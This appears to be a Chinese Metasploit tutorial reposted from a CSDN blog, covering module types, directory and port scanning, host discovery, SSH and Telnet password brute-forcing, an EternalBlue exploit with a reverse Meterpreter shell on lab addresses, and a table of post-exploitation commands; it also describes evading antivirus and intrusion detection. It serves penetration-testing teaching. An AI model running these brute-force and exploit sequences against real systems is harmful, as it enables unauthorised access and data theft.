编程语言
首页 > 编程语言> > Web攻防第 04 讲:Metasploit渗透平台(kali-MSF)

Web攻防第 04 讲:Metasploit渗透平台(kali-MSF)

作者:互联网

metasploit概述

      是一款开源的安全漏洞检测工具,它可以帮助网络安全和IT专业人士识别安全性问题,验证漏洞的解决措施,从而完成对目标的安全性评估

该工具包括了 智能开发,代码审计,web应用程序扫描和社会工程等各项功能

什么是metasploit

      可以用来发现漏洞,利用漏洞,提交漏洞,并实施攻击,用户可以从其他 漏洞扫描程序导入数据,基于漏洞主机的详细信息来发现可攻击漏洞

模块按照不同用途可分为7中类型,分别是Exploits(渗透攻击模块),Auxiliary(辅助模块),Post(后渗透攻击模块),Payloads(攻击载荷模块),Encoders(编码器模块),Nops(空指令模块),Evasion(规避模块)

1,渗透攻击模块

      主要利用发现的安全漏洞或配置弱点对目标主机进行攻击,以植入和运行攻击载荷,从而获得目标系统的访问控制权

分为主动渗透攻击和被动渗透攻击

主动渗透攻击:利用的安全漏洞位于网络服务端软件承载的上层应用程序之中

被动渗透攻击:利用的漏洞位于客户端软件(如浏览器,浏览器插件,电子邮件客户端,Office与Adobe等各种文档与编辑软件)

2,辅助模块

      辅助模块包括对各种网络服务的扫描与检测,构建虚假服务登陆密码,口令猜测等模块,辅助模块海包含一些无须加载的攻击载荷,这些模块不用来取得目标系统远程控制权,如拒绝服务

3,后渗透模块

      用于取得目标系统远程控制权之后得环节,实现在受控制的系统中进行各种各样的后渗透攻击动作,如敏感信息,进一步拓展,实施跳板攻击

4,攻击载荷模块

      在渗透攻击成功后促进目标系统运行的一段植入代码,通常作用是为渗透攻击者打开在目标系统上的控制会话连接

攻击载荷分为Single(独立),Stager(传输器)和Stage(传输体)3种类型

Single:是一种完全独立的Payload,使用简单,就像运行calc.exe一样简单,由于Single是完全独立的,因此他们有可能会被类似netcat这样的metasploit处理工具所捕获

Stager:这种payload负责建立目标用户与攻击者之间的网络连接,并下载额外的组件或应用程序

一种常见的Stager Payload就是reverse_tcp,它可以让目标系统与攻击者建立一条TCP连接,让目标系统主动连接渗透测试者的端口(反向连接)

另一种常见的的bind_TCP,它可以让目标系统开启一个TCP监听器,而攻击者随时可以与目标系统进行通信(正向连接)

Stage:是stager payload下的一种payload组件,这种payload可以提供更加高级的功能,而且没有大小限制

5,空指令模块

      空指令是一些对程序运行状态不会造成任何实质影响的空操作或无关操作指令最典型的空指令就是空操作,在X86CPU体系结构平台上的操作码是ox90

6,编码模块

      攻击载荷与空指令模块组装完成一个指令序列后,在这段指令被渗透攻击模块加入恶意数据缓冲区交由目标系统运行之前,metaspliot还需要编码

编码模块的主要作用由两个:第一,确保攻击载荷中不会出现“坏字符”,第二,是对攻击载荷进行“免杀”处理,即躲避反病毒软件,IDS入侵检测系统和IPS入侵防御系统的检测与拦截

7,规避模块

      规避模块是在metasploit5中心增加的,用户可以使用规避模块来规避Windows Defender防火墙,windows Defender现在是windows自带的防火墙工具,不仅可以扫描系统,还可以对系统进行实时监控

8,插件

      插件能够扩充框架的功能,或者封装已有功能构成高级功能的组件,可以用于集成一些现有的一些歪卜安全工具,如N二审诉讼,OpenVAS漏洞扫描等

一、MSF更新

命令:

apt-get update

apt-get install metasploit-framework

二、基本命令

info

set

show options:查看参数

exit:退出

back:返回上一级

三、网站敏感目录扫描

      可以借助Metasploit中的brute_dirs、dir_listing、dir_scanner等辅助模块来进行敏感目录扫描。

      他们主要使用暴力猜解的方式工作,注意此处需要提供一个目录字典。

msf5 > use auxiliary/scanner/http/dir_scanner

【】msf5 auxiliary(scanner/http/dir_scanner) > set RHOSTS 172.16.132.138

RHOSTS => 172.16.132.138

【设置目录】msf5 auxiliary(scanner/http/dir_scanner) > set PATH /cms/

PATH = /cms/

【设置线程数量】msf5 auxiliary(scanner/http/dir_scanner) > set THREADS 50

THREADS => 50

msf5 auxiliary(scanner/http/dir_scanner) > exploit

四、主机发现

      在Metasploit中提供了关于主机发现的模块位于modules/auxiliary/sacnner/discovery/目录中。

      可以使用arp_sweep来枚举本地局域网中的所有活跃主机。

msf5 > use auxiliary/scanner/discovery/arp_sweep

msf5 auxiliary(scanner/discovery/arp_sweep) > set RHOSTS 172.16.132.160/24

RHOSTS => 172.16.132.160/24

msf5 auxiliary(scanner/discovery/arp_sweep) > set THREADS 50

THREADS => 50

msf5 auxiliary(scanner/discovery/arp_sweep) > exploit

五、端口扫描

      Metasploit的辅助模块中提供了几款实用的端口扫描器。一般情况下使用auxiliary/scanner/portscan/syn端口扫描器,因为他的扫描速度较快,结果比较准确且不易被对方察觉。

msf5 > use auxiliary/scanner/portscan/syn

msf5 auxiliary(scanner/portscan/syn) > set RHOST 172.16.132.138

RHOST => 172.16.132.138

msf5 auxiliary(scanner/portscan/syn) > set THREADS 50

THREADS => 50

msf5 auxiliary(scanner/portscan/syn) > exploit

六、SSH服务查点

    通常管理员会使用SSH对服务器进行远程管理,服务器会向SSH客户端返回一个远程Shell连接。如果没有做其他的安全增强配置,只要获取服务的登陆口令,就可以使用SSH客户端登陆服务器,那就相当于获取了相应登陆用户的所有权限。可以使用ssh_version模块遍历网络中开启SSH服务的主机。

msf5 > use auxiliary/scanner/ssh/ssh_version

msf5 auxiliary(scanner/ssh/ssh_version) > set RHOST 172.16.132.160/24

RHOST => 172.16.132.160/24

msf5 auxiliary(scanner/ssh/ssh_version) > set THREADS 50

THREADS => 50

msf5 auxiliary(scanner/ssh/ssh_version) > exploit

七、SSH爆破

msf5 > use auxiliary/scanner/ssh/ssh_login

msf5 auxiliary(/scanner/ssh/ssh_login) > set USER_FILE user.dic【自定义字典】

USER_FILE => user.dic

msf5 auxiliary(/scanner/ssh/ssh_login) > set USERPASS_FILE pass.dic【自定义字典】

USERPASS_FILE => pass.dic

msf5 auxiliary(/scanner/ssh/ssh_login) set THREADS 50

THREADS => 50

msf5 auxiliary(scanner/ssh/ssh_ login) > set RHOST 172.16.132.160

RHOST => 172.16.132.160

msf5 auxiliary(scanner/ssh/ssh_ login) > exploit

八、Telnet爆破

msf5 > use auxiliary/scanner/telnet/telnet_login

msf5 auxiliary(scanner/telnet/telnet_login) > set RHOST 172.16.132.160

RHOST => 172.16.132.160

msf5 auxiliary(scanner/telnet/telnet_login) > set USER_FILE user.dic

USER_FILE => user.dic

msf5 auxiliary(scanner/telnet/telnet_login) > set PASS_FILE pass.dic

PASS_FILE => pass.dic

msf5 auxiliary(scanner/telnet/telnet_login) > set THREADS 50

THREADS => 50

msf5 auxiliary(scanner/telnet/telnet_login) > exploit

九、永恒之蓝全过程

msf5 > use exploit/windows/smb/sm17_010_eternalblue

msf5 exploit(windows/smb/sm17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp

payload => windows/x64/meterpreter/reverse_tcp

msf5 exploit(windows/smb/sm17_010_eternalblue) > set RHOST 172.16.132.160

RHOST => 172.16.132.160

msf5 exploit(windows/smb/sm17_010_eternalblue) > set THREADS 50

THREADS => 50

msf5 exploit(windows/smb/sm17_010_eternalblue) > set LHOST 172.16.132.20

LHOST => 172.16.132.20

msf5 exploit(windows/smb/sm17_010_eternalblue) > exploit

 

【成功攻破之后将获得meterpreter】

Meterpreter常用基本命令

命令

解释

background

将Meterpreter终端隐藏在后台

sessions

查看已经成功获取的会话。-选项,切入后台会话

shell

获取系统的控制台shell

quit

关闭当前的Meterpreter会话,返回MSF终端

pwd

获取目标机上当前工作的目录

whoami

查看目标机当前用户

upload

上传文件,upload a.txt

cat

查看文件内容

edit

编辑文件内容

download

下载文件

cd

切换路径,cd c:\\

ls

显示当前路径下的所有路径

search

搜索文件 -h参数可以查看帮助

ifconfig/ipconfig

查看网卡信息

route

查看路由信息,设置路由

sysinfo

查看系统信息

getuid

获取当前用户ID

ps

查看所有进程列表

getpid

查看当前进程

migrate

切换进程,migrate 2856

execute

执行文件,excute -f c:\\windows\\system32\\calc.exe

kill

终结指定PID的进程

shutdown

关机

screenshot

屏幕快照

 

 

标签:Metasploit,Web,set,auxiliary,04,ssh,模块,msf5,scanner
来源: https://blog.csdn.net/qzc70919700/article/details/122263349